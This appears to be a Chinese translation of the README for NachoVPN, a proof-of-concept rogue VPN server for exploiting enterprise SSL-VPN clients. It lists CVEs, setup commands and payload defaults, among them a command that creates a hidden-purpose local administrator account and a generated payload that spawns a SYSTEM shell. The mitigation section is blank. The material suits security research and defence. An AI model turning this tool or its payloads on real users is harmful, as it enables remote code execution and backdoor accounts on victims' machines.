NachoVPN 是一个概念验证(Proof of Concept)项目,演示了如何通过恶意 VPN 服务器利用 SSL-VPN 客户端。
它采用基于插件的架构,使社区能够为更多 SSL-VPN 产品贡献支持。目前支持多种流行的企业 VPN 产品,例如 Cisco AnyConnect、SonicWall NetExtender、Palo Alto GlobalProtect 和 Ivanti Connect Secure。
有关更多详细信息,请参阅我们的博客文章,以及 HackFest Hollywood 2024 演讲[幻灯片|视频]。
NachoVPN 在 Ubuntu 22.04 上构建和测试。
安装 python3-nftables 和 nftables
可选:使用 setcap 以避免 sudo 要求:
sudo setcap 'cap_net_raw,cap_net_bind_service,cap_net_admin=eip' /usr/bin/python3.10
启用 IP 转发:
sudo sysctl -w net.ipv4.ip_forward=1
NachoVPN 可以使用 pip 从 GitHub 安装。请注意,这需要安装 git。
首先,创建一个虚拟环境。
在 Linux 上,请确保虚拟环境可以访问系统 site-packages,以便 nftables 正常工作:
python3 -m venv env --system-site-packages
source env/bin/activate
在 Windows 上,nftables(以及数据包转发)处于禁用状态,因此请使用:
python -m venv env
.\env\Scripts\activate
然后,安装 NachoVPN:
pip install git+https://github.com/AmberWolfCyber/NachoVPN.git
如果您更喜欢使用 Docker,则可以从 GitHub Container Registry 拉取容器:
docker pull ghcr.io/AmberWolfCyber/nachovpn:release
首先,克隆此仓库,并通过 pip 安装 setuptools 和 wheel。然后即可运行 setup.py 脚本:
git clone https://github.com/AmberWolfCyber/NachoVPN
pip install -U setuptools wheel
python setup.py bdist_wheel
这将在 dist 目录中生成一个 wheel 文件,可以使用 pip 安装:
pip install dist/nachovpn-1.0.0-py3-none-any.whl
另外,对于本地开发,您可以使用以下命令以可编辑模式安装软件包:
pip install -e .
您可以使用以下命令构建容器镜像:
docker build -t nachovpn:latest .
要以独立模式运行服务器,请使用:
python -m nachovpn.server
或者,您可以使用 Docker 运行服务器:
docker run -e SERVER_FQDN=connect.nachovpn.local -e EXTERNAL_IP=1.2.3.4 -v ./certs:/app/certs -p 80:80 -p 443:443 --rm -it nachovpn
这将使用 certbot 为 SERVER_FQDN 生成证书,并将其保存到 certs 目录(我们已将其挂载到容器中)。
另外,出于测试目的,您可以通过设置 SKIP_CERTBOT 环境变量来跳过证书生成。
这样将改为生成自签名证书。
docker run -e SERVER_FQDN=connect.nachovpn.local -e SKIP_CERTBOT=1 -e EXTERNAL_IP=1.2.3.4 -p 443:443 --rm -it nachovpn
为方便起见,还提供了一个示例 docker-compose 文件。
您可以使用 -d 或 --debug 命令行参数运行 nachovpn,以提高日志记录的详细程度,这有助于调试。
另外,如果日志过于冗长,您也可以改用 q 或 --quiet 命令行参数。
NachoVPN 支持以下插件和功能:
/pulse URL 来触发 Ivanti Connect Secure(Pulse Secure)URI 处理器。/sonicwall URL 来触发 SonicWall NetExtender URI 处理器。这要求客户端机器上安装了 SonicWall Connect Agent。/delinea URL 来触发 Delinea URI 处理器。NACAgent.exe 载荷进行签名。出于测试目的,您可以在触发漏洞利用之前从 /sonicwall/ca.crt 下载并安装此 CA 证书。对于生产环境用例,您需要从公共 CA 获取有效的代码签名证书,对您的 NACAgent.exe 载荷进行签名,并将其放置在 payloads 目录中(如果使用 docker,则可将其挂载到 /app/payloads)。NACAgent.exe 载荷,并写入 payloads 目录。该载荷会在当前用户的桌面上以 SYSTEM 身份生成一个新的 cmd.exe 进程。downloads 目录中存在 MSI 安装程序和 msi_version.txt 文件。您可以手动添加这些文件,或运行 msi_downloader.py 脚本进行下载。downloads 文件夹中存在 和 。这些文件应包含 的、版本 6.2.6(例如 6.2.5)的 MSI 安装程序。要禁用某个插件,请将其添加到 DISABLED_PLUGINS 环境变量中。例如:
DISABLED_PLUGINS=CiscoPlugin,SonicWallPlugin
NachoVPN 通过环境变量进行配置,这使其易于兼容容器化部署。
全局环境变量:
插件特定环境变量:
我们建议采取以下缓解措施:
我们欢迎贡献!请提交 Issue 或发起 Pull Request。
如果您有兴趣开发新插件,可以查看 ExamplePlugin 以开始使用。
NachoVPN 采用 MIT 许可证。有关详细信息,请参阅 LICENSE 文件。
| 插件 | 产品 | CVE | Windows RCE | macOS RCE | 提权 | URI 处理器 | 数据包捕获 | 演示 |
|---|
| Cisco | Cisco AnyConnect | N/A | ✅ | ✅ | ❌ | ❌ | ✅ | Windows / macOS |
| SonicWall | SonicWall NetExtender | CVE-2024-29014 | ✅ | ❌ | ✅ | ✅ | ❌ | Windows |
| PaloAlto | Palo Alto GlobalProtect | CVE-2024-5921 (部分修复) | ✅ | ✅ | ✅ | ❌ | ✅ | Windows / macOS / iOS |
| PulseSecure | Ivanti Connect Secure | CVE-2020-8241(已被绕过) | ✅ | ✅ | ✅ | ✅(仅限 Windows - 在 22.8R1 中默认禁用) | ✅ | Windows |
| Netskope | Netskope | CVE-2025-0309 | ✅ | ❌ | ✅ | ❌ | ❌ | Windows |
| Delinea | Protocol Handler | CVE-2026-???? | ✅ | ✅ | ❌ | ✅ | ❌ | Windows |
GlobalProtect.msi.oldGlobalProtect64.msi.old| 变量 | 描述 | 默认值 |
|---|
SERVER_FQDN | 服务器的完全限定域名(FQDN)。 | connect.nachovpn.local |
EXTERNAL_IP | 服务器的外部 IP 地址。 | 127.0.0.1 |
WRITE_PCAP | 是否将捕获的 PCAP 文件写入磁盘。 | false |
DISABLED_PLUGINS | 要禁用的插件列表,以逗号分隔。 | |
USE_DYNAMIC_SERVER_THUMBPRINT | 是否动态计算服务器证书指纹(在代理后面时很有用)。 | false |
SERVER_SHA1_THUMBPRINT | 允许覆盖计算得出的服务器证书 SHA1 指纹。 | |
SERVER_MD5_THUMBPRINT | 允许覆盖计算得出的服务器证书 MD5 指纹。 | |
SMB_ENABLED | 启用 SMB 共享,可通过隧道在 \\10.10.0.1\<SMB_SHARE_NAME> 访问。 | false |
SMB_SHARE_NAME | 用于 SMB 共享的名称。 | SHARE |
SMB_SHARE_PATH | 用于 SMB 共享的目录路径。 | smb |
TUNNEL_PRIVATE | 设置为 true 时,启用隧道传输,但禁用 VPN 客户端的互联网转发。客户端只能访问 SMB 共享。 | false |
TUNNEL_FULL | 设置为 true 时,启用完全隧道传输,允许 VPN 客户端访问互联网。同时隐含 TUNNEL_PRIVATE=true。 | false |
| 变量 | 描述 | 默认值 |
|---|
VPN_NAME | VPN 配置文件的名称,会呈现给 Cisco AnyConnect 客户端。 | NachoVPN |
PULSE_LOGON_SCRIPT | Pulse Secure 登录脚本的路径。 | C:\Windows\System32\calc.exe |
PULSE_LOGON_SCRIPT_MACOS | 适用于 macOS 的 Pulse Secure 登录脚本路径。 | |
PULSE_DNS_SUFFIX | 用于 Pulse Secure 连接的 DNS 后缀。 | nachovpn.local |
PULSE_USERNAME | 在 Pulse Secure 登录对话框中预填的用户名。 | |
PULSE_SAVE_CONNECTION | 是否在用户的客户端中保存 Pulse Secure 连接。 | false |
PULSE_ANONYMOUS_AUTH | 是否对 Pulse Secure 连接使用匿名身份验证。如果设置为 true,将不会提示用户输入用户名或密码。 | false |
PULSE_HOST_CHECKER_RULES_FILE | 一个 JSON 文件,包含用于 ICS 的基于注册表的主机检查器规则列表。示例见 src/nachovpn/plugins/pulse/test/example_rules.json。 | |
PALO_ALTO_MSI_ADD_FILE | 要添加到 Palo Alto 安装程序 MSI 中的文件路径。 | |
PALO_ALTO_MSI_COMMAND | 由 Palo Alto 安装程序 MSI 执行的命令。 | net user pwnd Passw0rd123! /add && net localgroup administrators pwnd /add |
PALO_ALTO_FORCE_PATCH | 如果 MSI 安装程序已存在于 payloads 目录中,是否强制对其进行修补。 | false |
PALO_ALTO_PKG_COMMAND | 由 Palo Alto 安装程序 PKG 在 macOS 上执行的命令。 | touch /tmp/pwnd |
CISCO_COMMAND_WIN | 由 Cisco AnyConnect OnConnect.vbs 脚本在 Windows 上执行的命令。 | calc.exe |
CISCO_COMMAND_MACOS | 由 Cisco AnyConnect OnConnect.sh 脚本在 macOS 上执行的命令。 | touch /tmp/pwnd |